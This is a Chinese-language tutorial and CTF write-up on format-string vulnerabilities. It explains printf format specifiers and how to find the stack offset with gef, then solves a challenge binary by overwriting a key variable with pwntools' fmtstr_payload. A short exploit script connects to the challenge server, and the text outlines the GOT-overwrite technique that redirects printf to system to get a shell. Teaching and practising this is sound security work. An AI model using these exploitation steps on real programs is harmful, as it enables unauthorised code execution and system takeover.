格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。
一般来说格式化字符串在利用时主要分为三个部分:
输入:scanf
输出:
Printf | 输出到stdout |
---|---|
Fprintf | 输出到指定file流 |
Vprintf | 根据参数列表格式化输出到stdout |
Vfprintf | 根据参数列表格式化输出到指定file流 |
Sprintf | 输出到字符串 |
Snprintf | 输出到指定个字节数到字符串 |
Vsprintf | 根据参数列表格式化输出到字符串 |
Vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
Setproctitle | 设置argv |
Syslog | 输出日志 |
printf("hello,H%d%s!",4,"cker");
printf("格式化字符",参数1,参数2);
第一个参数的格式化字符的数量决定了后面参数的数量(%d便是格式化字符)
一般先以ret2libc作为辅助用于泄露system函数的真实地址,再将system函数的地址写入到连接printf函数(或类似的输出函数)got表中,从而以欺骗的方式在执行printf时实际执行的是system函数,获得bash读取栈和任意地址
假设向程序中输入多个格式字符
gef➤ c
Continuing.
0xffffdafc
aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0x61616161处便是aaaa字符串开始的地方
gef➤ c
Continuing.
aaaa0xffffda98.0xf7fcd410.0x8049199.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025[Inferior 1 (process 128897) exited normally]
0x61616161
是输出的第6个字符,所以使用%6$s
即可读出该地址,这便是手工计算偏移量的方法
如 需要在0xffffdafc 该地址上写入数据0x5201314
fmtstr_payload(7,{0xffffdafc:0x5201314})
前提是需要先确定好字符串的偏移量,这上面为7
格式 | 示例 | 简介 | 注释 |
---|---|---|---|
%n | 到目前位置所写的字符数 | ||
%<显示的位数><进制> | %08X | 以位的形式显示出16进制的值 | |
%<arg#>$<format> | %n$x | 直接获得被指定的某个参数 | 这里的n表示栈中格式字符串后面的第N个值 |
system
函数(一般在输入时输入”/bin/sh”)即可完成system函数的执行获取shell。
题目示例IDA分析程序
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-40Ch]
unsigned int v5; // [esp+40Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
puts("I like You, But....what's your name?");
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
fgets(&s, 1024, stdin);
printf(&s);
if ( key == 85988116 )
getshell();
else
puts(" But I just like You.");
return 0;
}
找到format string的关键代码后发现该段条件如果成立即可直接返回shell
if ( key == 85988116 )
getshell();
先查看变量key的地址
.data:0804A030 key dd 0E9h
测试格式化字符串的距离
0x64636261
便是,即第7位
最后构造payload
payload = fmtstr_payload(7,{0x0804A030:0x5201314})
0x0804A030
是key的地址,而0x5201314
便是key要等于的值EXP
from pwn import *
#io = process('./coverme')
io = remote("120.79.17.251",10011)
io.sendline(payload)
io.interactive()
print p32(0x0804A030)
#abcd%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p